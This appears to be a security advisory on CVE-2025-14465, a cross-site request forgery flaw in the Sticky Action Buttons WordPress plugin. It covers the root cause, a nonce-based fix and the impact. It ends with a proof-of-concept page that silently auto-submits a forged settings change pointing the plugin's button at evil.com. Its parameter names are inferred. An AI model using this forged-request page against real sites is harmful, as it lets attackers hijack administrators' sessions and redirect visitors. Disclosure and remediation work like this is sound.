Atomic Edge analysis of CVE-2025-14465 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Sticky Action Buttons WordPress plugin, version 1.1 and earlier. It allows unauthenticated attackers to trick an administrator into submitting a request that changes the plugin’s settings. The vulnerability resides in the `sabs_options_page_form_submit()` function, which lacks proper nonce validation.
Atomic Edge research indicates the root cause is missing security nonce verification on a plugin settings update handler. The vulnerability description confirms the `sabs_options_page_form_submit()` function does not validate the WordPress nonce, a unique token tied to a user session. This absence allows forged requests from external sites to be processed as legitimate. The CWE-352 classification confirms this as a classic CSRF flaw where the state-changing action lacks an anti-CSRF token.
The exploitation method involves an attacker crafting a malicious web page or link that submits a forged HTTP POST request to the WordPress admin area. The target is the plugin’s settings update endpoint. A likely vector is the `admin-post.php` or `admin-ajax.php` handler, given the function name suggests a form submission. The attacker would need to lure a logged-in administrator to interact with the malicious content. The payload would contain parameters that modify plugin configuration, such as button colors, positions, or linked URLs.
Remediation requires adding a nonce check to the `sabs_options_page_form_submit()` function. The fix should verify the `$_POST[‘_wpnonce’]` or a plugin-specific nonce field using `wp_verify_nonce()` before processing any data. The function should also confirm the current user has appropriate administrative capabilities, typically using `current_user_can(‘manage_options’)`. These two checks together would prevent unauthorized and forged requests.
The impact is unauthorized modification of the plugin’s settings. This could alter the appearance, behavior, or destination links of the sticky action buttons displayed on the site. Attackers could redirect users to malicious websites or deface the site’s functionality. The CVSS vector scores a low impact on integrity (I:L) with no effect on confidentiality or availability, aligning with a settings change that does not grant direct code execution or data access.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14465 - Sticky Action Buttons <= 1.1 - Cross-Site Request Forgery to Plugin Settings Update
<?php
/**
* Proof of Concept for CVE-2025-14465.
* This script generates an HTML page that forges a POST request to update plugin settings.
* It targets the likely admin endpoint for the vulnerable `sabs_options_page_form_submit()` function.
* Assumptions: The target uses the vulnerable plugin, and an administrator will visit this page while authenticated.
*/
$target_url = 'http://vulnerable-site.example.com/wp-admin/admin-post.php'; // Common endpoint for admin form handlers
// Alternative endpoint could be /wp-admin/admin-ajax.php?action=sabs_options_update
?>
<!DOCTYPE html>
<html>
<head>
<title>Redirecting...</title>
</head>
<body>
<h2>Please wait...</h2>
<form id="exploitForm" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
<!-- The action parameter likely triggers the vulnerable function. Inferred from function name. -->
<input type="hidden" name="action" value="sabs_options_page_form_submit" />
<!-- Example malicious settings parameter. Actual parameter names are inferred. -->
<input type="hidden" name="sabs_button_url" value="https://evil.com" />
<input type="hidden" name="sabs_button_enabled" value="1" />
<!-- No nonce parameter is included, exploiting the missing validation. -->
</form>
<script>
// Automatically submit the form when the page loads.
document.getElementById('exploitForm').submit();
</script>
</body>
</html>
